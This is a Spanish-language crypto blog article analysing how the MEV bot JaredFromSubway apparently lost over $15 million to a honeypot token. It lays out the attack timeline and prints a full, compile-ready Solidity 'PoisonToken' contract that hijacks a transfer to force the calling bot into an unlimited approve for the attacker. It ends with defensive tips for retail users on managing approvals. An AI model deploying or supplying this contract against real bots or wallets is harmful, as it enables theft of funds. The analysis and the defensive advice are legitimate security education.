Presiona ESC para cerrar

Cómo el Bot MEV Jaredfromsubway Perdió $15M: Exploit

El caso de JaredFromSubway no es un exploit más en DeFi, sino un giro de tuerca total en la "cadena alimenticia" de Ethereum. Durante un buen tiempo, los bots de MEV se creían los depredadores alfa del mempool, usando simulaciones loquísimas para sacarle ganancias sin riesgo a los traders de a pie. Pero este ataque, que le costó a los operadores de JaredFromSubway más de $15 millones, dejó clarísimo que automatizar código sin un aislamiento hardcore del contexto de ejecución es cavar tu propia tumba.

A continuación, les dejamos el desglose técnico al detalle de cómo estuvo el exploit, la arquitectura de la carnada (honey pot) y el ejemplo del código vulnerable que terminó convirtiendo al bot más temido del ecosistema en el proveedor de liquidez de alguien más.

Anatomía de la vulnerabilidad: ¿Dónde se le cruzaron los cables al algoritmo de Jared?

Los bots clásicos de MEV que arman ataques sándwich usan motores de simulación off-chain (normalmente clientes de Geth o Erigon modificados). Antes de mandar el bundle mediante Flashbots o una Builder API, el bot simula el estado de la EVM de forma local. Si la simulación da un profit neto en WETH, meten la ráfaga de transacciones al bloque.

Los hackers le pegaron justo al talón de Aquiles de esta lógica: la ejecución dinámica de bytecode sin verificar.

Para ahorrar gas a lo loco, el bot de JaredFromSubway optimizaba rutas al extremo. En lugar de desplegar un smart contract nuevo para cada trade, usaba un contrato-router fijo que acumulaba la liquidez y tenía infinite approvals (permisos ilimitados) en varios pools de Uniswap V2/V3. El bot asumía la premisa ingenua de que los tokens ERC-20 externos eran seguros siempre y cuando las cuentas del pool cuadraran antes y después del swap.

Los atacantes crearon un token trampa cuya función transfer/transferFrom escondía un payload malicioso. En cuanto el bot ejecutó la función swap en el pool, la EVM le cedió el control directo al código del token estafa. En vez de limitarse a actualizar los balances en el mapping, el token tiró un call de bajo nivel directo al contrato del bot, obligándolo a firmar un approve infinito de sus activos principales (WETH, USDC, USDT) a favor de la wallet del hacker. El simulador del bot ni se enteró: en el test local el balance del token subía y el drenado de los fondos reales no pasó sino hasta el siguiente paso, que el bot ya había dado por bueno.

Cronología del exploit: Paso a paso

  • 1. Setup de la infraestructura y despliegue del token envenenado

    Los atacantes desplegaron el smart contract del token y armaron el pool de liquidez. El token llevaba una lógica customizada que se quedaba en las sombras a menos que la dirección que iniciara la transacción fuera el contrato ultra conocido de JaredFromSubway.

  • 2. Soltar la carnada (Baiting)

    Los hackers metieron una orden de compra enorme de su propio token en el mempool público. Para los algoritmos del bot, esto brilló como el sándwich perfecto: un pool con liquidez bajísima, un slippage alto garantizado y un profit matemático brutal comprando por frontrun.

  • 3. Secuestro del flujo de ejecución (The Hijacking)

    El bot cazó la transacción, armó el bundle y le soltó una priority fee jugosa al validador para colarse en el primer lugar del bloque.

    [Bloque de Ethereum]
    ├── Tx 1 (Frontrun): El bot compra el token falso -> Se activa el código malicioso -> Llamada forzada a approve()
    ├── Tx 2 (Víctima): El hacker ejecuta el swap que ya tenía planeado
    └── Tx 3 (Backrun): El bot intenta dumpear el token (a estas alturas, ya no vale nada)

    En el milisegundo en que la primera transacción tocó el pool, el contrato del token secuestró por completo el flujo de ejecución (Execution Flow). Aprovechando que el router del bot confiaba a ciegas en los tokens con los que operaba, el contrato del hacker lo obligó a ejecutar: asset.approve(attacker_address, type(uint256).max).

  • 4. Vaciamiento de wallets vía transferFrom

    Con los permisos para mover los fondos fuertes del bot en la mano, los hackers no esperaron a que terminara el bloque. En la misma jugada (o justo en el bloque siguiente usando bundles atómicos), el contrato malicioso ejecutó la función transferFrom en los contratos de WETH, USDC y USDT. En total, le tumbaron más de $15 millones a las direcciones asociadas a JaredFromSubway, incluyendo un solo zarpazo de $7.5 millones.

Análisis comparativo: Sándwich clásico vs Exploit "Honey Pot" a Jared

ParámetroSándwich clásico (Jared)Contraataque hacker (Honey Pot)
Objetivo del ataqueUsuario común (market order)Bot de MEV (router automatizado)
Herramienta principalManipulación de precio ordenando transaccionesInyección de bytecode malicioso vía ERC-20
Vector de ataqueSlippage alto permitido por el traderFalta de aislamiento de permisos (Approvals) en el bot
ResultadoEl bot rasca micro-spreads (0.1% - 5%)El hacker drena toda la liquidez operativa del bot

La arquitectura de un "Poison Token" (Ejemplo de PoC)

A continuación, se muestra un smart contract en Solidity completo y listo para compilar, que expone exactamente cómo un token malicioso puede hacerle un hijack al flujo de ejecución y forzar al contrato que lo llama a conceder allowances infinitas.

Importante: Este código se comparte con fines puramente educativos para desglosar este vector de ataque y diseñar mejores sistemas de defensa en Web3. No seas un script kiddie.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
}
contract PoisonToken {
    string public name = "HoneyPot MEV Bait";
    string public symbol = "BAIT";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    address public immutable attacker;
    address public targetBot;
    address public immutable targetAsset; // Por ejemplo, el contrato de WETH
    bool private inAttack;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor(address _targetAsset) {
        attacker = msg.sender;
        targetAsset = _targetAsset;
        totalSupply = 1000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
    }
    function setTargetBot(address _bot) external {
        require(msg.sender == attacker, "Only attacker can set target");
        targetBot = _bot;
    }
    function transfer(address to, uint256 value) external returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }
    function transferFrom(address from, address to, uint256 value) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            require(allowed >= value, "ERC20: insufficient allowance");
            allowance[from][msg.sender] = allowed - value;
        }
        _transfer(from, to, value);
        return true;
    }
    function approve(address spender, uint256 value) external returns (bool) {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(balanceOf[from] >= value, "ERC20: transfer amount exceeds balance");
        
        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(from, to, value);
        // Gatillo del ataque: si la llamada viene del bot o va hacia él, y no estamos metidos en un reentrancy loop
        if ((from == targetBot || to == targetBot) && !inAttack && targetBot != address(0)) {
            inAttack = true;
            
            // Metemos una llamada tipo reentrancy directa al contrato del bot.
            // Explotamos la lógica del bot, que ejecuta llamadas low-level arbitrarias
            // (arbitrary calls) basándose a ciegas en la data que recibe en mitad del swap.
            // Simulamos un apruebo forzado de WETH que beneficia al atacante.
            bytes memory payload = abi.encodeWithSignature(
                "approve(address,uint256)", 
                attacker, 
                type(uint256).max
            );
            
            // El bot ejecuta esta llamada sin rechistar porque su router confía en las instrucciones del contexto de la pool
            (bool success, ) = targetBot.call(payload);
            require(success, "Exploit execution failed");
            
            inAttack = false;
        }
    }
}

Cómo proteger tus fondos: Lecciones de seguridad para usuarios de a pie (Retail)

Aunque este berrrinche ocurrió a niveles de "Alien vs. Predator" entre bots de MEV e instituciones pesadas, el usuario retail puede sacar lecciones vitales para la salud de su wallet. Al bot JaredFromSubway lo dejaron completamente rekt por otorgar permisos descontrolados (infinite approvals); un peligro real al que cualquier usuario se expone a diario si se duerme en los laureles.

Cada vez que interactúas con un protocolo DeFi (ya sea haciendo un swap en Uniswap, usando el router de 1inch o metiendo colateral en plataformas de lending), la interfaz te pide firmar dos transacciones: la primera es el Approve (darle luz verde al contrato para mover tus tokens) y la segunda es el propio Swap o Deposit.

Por un tema de UX y comodidad, la mayoría de dApps te piden por defecto permiso para gastar fondos infinitos (uint256.max). Lo hacen para que no tengas que estar pagando gas fees cada vez que quieras volver a operar ese token en el futuro.

El problema de fondo: si el smart contract de ese protocolo sufre un exploit (como le pasó al router de Jared) o firmas un approve sin querer en una web de phishing, el atacante puede activar la función transferFrom cuando le dé la gana y vaciarte la wallet en un bloque, incluso si tus tokens estaban ahí quietos acumulando polvo.

Checklist: Cómo no acabar rekt por culpa de los approvals fantasma

  • Ajusta límites manuales (Custom Allowance):

    Cuando te salte la ventana de Approve en MetaMask o Rabby Wallet, nunca le des al botón de "Máximo" por inercia. Escribe a mano la cantidad exacta de tokens que vas a tradear en ese mismo instante. Si vas a cambiar 100 USDC, el permiso debe ser estrictamente por 100 USDC.

  • Revoca permisos con frecuencia:

    Ponte como tarea revisar una vez al mes qué contratos tienen acceso a tus fondos. Usa plataformas de confianza de la comunidad como Revoke.cash o compruébalo directamente desde la sección Token Approvals en exploradores como Etherscan para limpiar cabos sueltos.

  • Separa tus wallets por roles (Wallet Segregation):

    Guarda el grueso de tus bolsas (bags) en una hardware wallet (cold wallet) que jamás interactúe con smart contracts ni firme aprobaciones. Para el farmeo diario, degen trades o mintear NFTs, usa una "burner wallet" (hot wallet) con fondos mínimos que no te duela perder si un pool se va a cero o sufre un ataque de reentrancy.

Astra EXMON

Astra is the official voice of EXMON and the editorial collective dedicated to bringing you the most timely and accurate information from the crypto market. Astra represents the combined expertise of our internal analysts, product managers, and blockchain engineers.

...

Escribe una opinión

Tu correo electrónico no será publicado. Los campos obligatorios están marcados *